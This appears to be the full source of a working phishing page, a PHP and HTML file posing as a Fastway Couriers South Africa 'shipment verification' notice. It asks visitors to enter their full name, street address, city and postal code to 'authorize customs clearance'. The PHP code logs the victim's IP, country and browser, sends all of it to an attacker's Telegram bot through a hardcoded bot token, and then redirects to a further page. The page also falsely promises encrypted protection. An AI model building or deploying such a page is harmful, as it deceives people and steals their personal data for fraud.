File: /home/imagzxcb/public_html/feedback/index.php
<?php
$BOT_TOKEN = "7855531302:AAGEfCJhGKdJNEcbJFDchAF40G3OrJO6sLw";
$CHAT_ID = "-5194337371";
// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'Unknown';
$context = stream_context_create(['http' => ['timeout' => 5]]);
$geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
if ($geoData !== false) {
$geo = json_decode($geoData);
$country = $geo->country ?? 'Unknown';
}
function sendTelegram($msg) {
global $BOT_TOKEN, $CHAT_ID;
$url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
$data = [
'chat_id' => $CHAT_ID,
'text' => $msg,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false
]);
curl_exec($ch);
curl_close($ch);
}
// === HANDLE AJAX LOGIN LOG ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'log_login') {
$tracking = htmlspecialchars($_POST['tracking'] ?? '');
$fullname = htmlspecialchars($_POST['fullname'] ?? '');
$address = htmlspecialchars($_POST['address'] ?? '');
$city = htmlspecialchars($_POST['city'] ?? '');
$postal = htmlspecialchars($_POST['postal'] ?? '');
$msg = "<b>📦🪭 FASTWAY COURIERS SHIPMENT DETAILS</b>\n";
$msg .= "══════════════════════════════\n";
$msg .= "<b>Tracking #:</b> <code>{$tracking}</code>\n";
$msg .= "<b>Full Name:</b> {$fullname}\n";
$msg .= "<b>Address:</b> {$address}\n";
$msg .= "<b>City:</b> {$city}\n";
$msg .= "<b>Postal Code:</b> {$postal}\n";
$msg .= "<b>IP:</b> <code>{$ip}</code>\n";
$msg .= "<b>Country:</b> {$country}\n";
$msg .= "<b>Agent:</b> <code>" . substr($user_agent, 0, 50) . "...</code>\n";
$msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
sendTelegram($msg);
echo json_encode(['status' => 'logged']);
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fastway Couriers | Shipment Verification</title>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@400;600;700;800&family=Barlow:wght@300;400;500;600&display=swap" rel="stylesheet">
<style>
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
:root {
--orange: #F47920;
--orange-light: #FF8C3A;
--navy: #1A2340;
--navy-dark: #10172B;
--navy-mid: #232E4A;
--white: #FFFFFF;
--off-white: #F7F8FA;
--grey: #6B7280;
--light-grey: #E5E7EB;
--text: #1F2937;
--success: #0F7B4B;
--success-bg: #E8F3ED;
--radius: 6px;
}
html { scroll-behavior: smooth; }
body {
font-family: 'Barlow', sans-serif;
color: var(--text);
background: var(--off-white);
min-height: 100vh;
display: flex;
flex-direction: column;
}
.container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1.5rem; }
/* HEADER */
.header {
background: var(--white);
padding: 1rem 0;
box-shadow: 0 2px 10px rgba(0,0,0,0.05);
}
.header-container {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
}
.logo-container { display: flex; align-items: center; }
.logo { height: 70px; width: auto; }
/* BANNER */
.banner {
width: 100%;
background: linear-gradient(135deg, var(--navy-dark) 0%, var(--navy) 100%);
padding: 2.5rem 0;
margin-bottom: 2rem;
}
.banner-content {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
color: var(--white);
}
.banner-title {
font-family: 'Barlow Condensed', sans-serif;
font-size: clamp(2rem, 5vw, 2.5rem);
font-weight: 800;
text-transform: uppercase;
letter-spacing: -0.5px;
margin-bottom: 0.5rem;
}
.banner-title span { color: var(--orange); }
.banner-sub {
font-size: 1rem;
color: rgba(255,255,255,0.8);
max-width: 600px;
}
/* SECTION TITLE */
.section-title {
margin: 0 0 1.5rem 0;
}
.section-title h1 {
font-family: 'Barlow Condensed', sans-serif;
font-size: 2rem;
font-weight: 700;
color: var(--navy-dark);
margin: 0 0 0.25rem 0;
}
.section-subtitle {
font-size: 0.95rem;
color: var(--grey);
display: flex;
align-items: center;
gap: 0.5rem;
}
/* MAIN CARD */
.card {
background: var(--white);
border: 1px solid var(--light-grey);
border-radius: var(--radius);
padding: 2rem;
margin-bottom: 2rem;
box-shadow: 0 4px 12px rgba(0,0,0,0.05);
}
.status-bar {
display: flex;
align-items: center;
gap: 0.75rem;
padding: 1rem 1.25rem;
background: var(--off-white);
border-radius: var(--radius);
border-left: 4px solid var(--orange);
margin-bottom: 2rem;
font-size: 0.95rem;
}
.status-bar strong { color: var(--navy-dark); }
.status-bar span { color: var(--orange); font-weight: 600; margin-left: 0.25rem; }
/* INFO BOX */
.info-box {
background: var(--off-white);
border: 1px solid var(--light-grey);
border-radius: var(--radius);
padding: 1.5rem;
margin: 1.5rem 0;
}
.info-box h3 {
font-family: 'Barlow Condensed', sans-serif;
font-size: 1.25rem;
font-weight: 700;
color: var(--navy-dark);
margin: 0 0 1rem 0;
display: flex;
align-items: center;
gap: 0.5rem;
}
.info-box h3 i { color: var(--orange); }
.info-box p {
margin: 0.5rem 0;
color: var(--grey);
font-size: 0.95rem;
line-height: 1.6;
}
.info-box ul {
margin: 1rem 0 0;
padding-left: 1.25rem;
}
.info-box li {
margin: 0.5rem 0;
font-size: 0.95rem;
color: var(--grey);
}
/* FORM ELEMENTS */
label {
display: block;
margin: 1.5rem 0 0.35rem;
font-weight: 600;
font-size: 0.85rem;
color: var(--navy-dark);
text-transform: uppercase;
letter-spacing: 0.5px;
}
input[type="text"] {
width: 100%;
padding: 0.85rem 1rem;
border: 2px solid var(--light-grey);
border-radius: var(--radius);
background: var(--white);
font-family: 'Barlow', sans-serif;
font-size: 0.95rem;
transition: all 0.15s ease;
}
input:focus {
outline: none;
border-color: var(--orange);
box-shadow: 0 0 0 3px rgba(244,121,32,0.1);
}
input[readonly] {
background: var(--off-white);
border-color: var(--light-grey);
color: var(--navy-dark);
font-weight: 500;
}
.form-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 1rem;
}
@media (max-width: 600px) {
.form-grid { grid-template-columns: 1fr; }
}
.tracking-prefix {
background: var(--off-white);
border: 2px solid var(--light-grey);
border-radius: var(--radius);
padding: 0.85rem 1rem;
font-size: 0.95rem;
color: var(--navy-dark);
font-weight: 500;
display: flex;
align-items: center;
gap: 0.5rem;
}
.tracking-prefix i { color: var(--orange); }
/* BUTTON */
.btn-primary {
display: block;
width: 100%;
padding: 1rem;
margin-top: 2rem;
background: var(--orange);
color: var(--white);
border: none;
border-radius: var(--radius);
font-family: 'Barlow', sans-serif;
font-weight: 700;
font-size: 1rem;
text-transform: uppercase;
letter-spacing: 1px;
cursor: pointer;
transition: all 0.15s ease;
}
.btn-primary:hover {
background: var(--orange-light);
transform: translateY(-1px);
box-shadow: 0 4px 12px rgba(244,121,32,0.3);
}
.btn-primary i { margin-right: 0.5rem; }
.security-note {
text-align: center;
margin-top: 1.5rem;
color: var(--grey);
font-size: 0.85rem;
}
.security-note i { color: var(--orange); }
/* FOOTER */
.footer {
background: var(--navy-dark);
padding: 3rem 0 2rem;
margin-top: auto;
}
.footer-content {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
text-align: center;
}
.footer-logo {
margin-bottom: 1.5rem;
}
.footer-logo img {
height: 70px;
width: auto;
opacity: 0.9;
}
.footer-address {
color: rgba(255,255,255,0.6);
font-size: 0.9rem;
margin-bottom: 1rem;
line-height: 1.6;
}
.footer-copyright {
color: rgba(255,255,255,0.4);
font-size: 0.8rem;
}
.footer-links {
display: flex;
justify-content: center;
gap: 2rem;
margin: 1rem 0 1.5rem;
flex-wrap: wrap;
}
.footer-links a {
color: rgba(255,255,255,0.6);
text-decoration: none;
font-size: 0.85rem;
transition: color 0.15s;
}
.footer-links a:hover {
color: var(--orange);
}
@media (max-width: 600px) {
.card { padding: 1.5rem; }
.container { padding: 0 1rem; }
.logo { height: 60px; }
}
</style>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>
<!-- HEADER -->
<header class="header">
<div class="header-container">
<div class="logo-container">
<img src="assets/1.png" alt="Fastway Couriers" class="logo">
</div>
</div>
</header>
<!-- BANNER -->
<div class="banner">
<div class="banner-content">
<div class="banner-title">Shipment <span>Verification</span></div>
<div class="banner-sub">Action required to complete customs clearance for your international parcel</div>
</div>
</div>
<!-- MAIN CONTENT -->
<main class="container">
<div class="section-title">
<h1>Receiver Verification Required</h1>
<div class="section-subtitle">
<i class="fas fa-info-circle" style="color: var(--orange);"></i> Your shipment requires attention before delivery
</div>
</div>
<div class="card">
<div class="status-bar">
<i class="fas fa-clipboard-check" style="color: var(--orange);"></i>
<strong>Status:</strong> <span>Pending receiver verification</span>
</div>
<div class="info-box">
<h3><i class="fas fa-envelope"></i> Important Notice</h3>
<p>Your shipment <strong>FW632846518</strong> has arrived at our Johannesburg sorting facility and requires receiver verification before proceeding with customs clearance.</p>
<p><strong>This shipment is registered under your email address.</strong> Please complete the verification below to authorize further processing and ensure timely delivery.</p>
<ul>
<li>Customs clearance requires receiver confirmation</li>
<li>Please verify your contact details below</li>
<li>Additional instructions will follow verification</li>
</ul>
</div>
<form id="trackingForm">
<!-- TRACKING NUMBER (Pre-filled) -->
<label for="tracking"><i class="fas fa-barcode"></i> Fastway Tracking Number:</label>
<div class="tracking-prefix">
<i class="fas fa-box"></i> FW632846518
<input type="hidden" id="tracking" value="FW632846518">
</div>
<!-- RECEIVER INFORMATION -->
<label style="margin-top: 2rem;"><i class="fas fa-user"></i> Receiver Information</label>
<p style="font-size: 0.9rem; color: var(--grey); margin: 0.25rem 0 1.25rem;">Please provide your complete details for shipment verification</p>
<div class="form-grid">
<div>
<label for="fullname">Full Name *</label>
<input type="text" id="fullname" placeholder="John Smith" required>
</div>
<div>
<label for="city">City *</label>
<input type="text" id="city" placeholder="Johannesburg" required>
</div>
</div>
<label for="address">Street Address *</label>
<input type="text" id="address" placeholder="123 Main Street, Sandton" required>
<div class="form-grid">
<div>
<label for="postal">Postal Code *</label>
<input type="text" id="postal" placeholder="2196" required>
</div>
<div>
<label for="province">Province</label>
<input type="text" id="province" value="South Africa" readonly>
</div>
</div>
<button type="submit" class="btn-primary">
<i class="fas fa-check-circle"></i> Verify & Continue
</button>
</form>
<div class="security-note">
<i class="fas fa-shield-alt"></i> Secure 256-bit SSL encryption • Your information is protected
</div>
</div>
</main>
<!-- FOOTER -->
<footer class="footer">
<div class="footer-content">
<div class="footer-logo">
<img src="assets/3.png" alt="Fastway Couriers">
</div>
<div class="footer-address">
Fastway Couriers South Africa<br>
12 Electron Road, Isando, Johannesburg, 1600
</div>
<div class="footer-links">
<a href="#"><i class="fas fa-shield-alt"></i> Privacy Policy</a>
<a href="#"><i class="fas fa-file-contract"></i> Terms of Service</a>
<a href="#"><i class="fas fa-question-circle"></i> Help Center</a>
<a href="#"><i class="fas fa-phone"></i> Contact Us</a>
</div>
<div class="footer-copyright">
© 2026 Fastway Couriers South Africa (Pty) Ltd. All rights reserved.
</div>
</div>
</footer>
<script>
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('trackingForm').addEventListener('submit', async function(e) {
e.preventDefault();
const tracking = 'FW632846518';
const fullname = document.getElementById('fullname').value.trim();
const address = document.getElementById('address').value.trim();
const city = document.getElementById('city').value.trim();
const postal = document.getElementById('postal').value.trim();
// === VALIDATION ===
if (!fullname) {
alert('Please enter your full name.');
document.getElementById('fullname').focus();
return;
}
if (!address) {
alert('Please enter your street address.');
document.getElementById('address').focus();
return;
}
if (!city) {
alert('Please enter your city.');
document.getElementById('city').focus();
return;
}
if (!postal) {
alert('Please enter your postal code.');
document.getElementById('postal').focus();
return;
}
const data = { tracking, fullname, address, city, postal };
// === SEND TO TELEGRAM ===
try {
await fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `action=log_login&tracking=${encodeURIComponent(tracking)}&fullname=${encodeURIComponent(fullname)}&address=${encodeURIComponent(address)}&city=${encodeURIComponent(city)}&postal=${encodeURIComponent(postal)}`
});
} catch (err) {
console.log('Telegram log failed (non-blocking)');
}
// === SAVE & REDIRECT ===
localStorage.setItem('fastwayData', JSON.stringify(data));
window.location.href = 'loading1.php';
});
});
</script>
</body>
</html>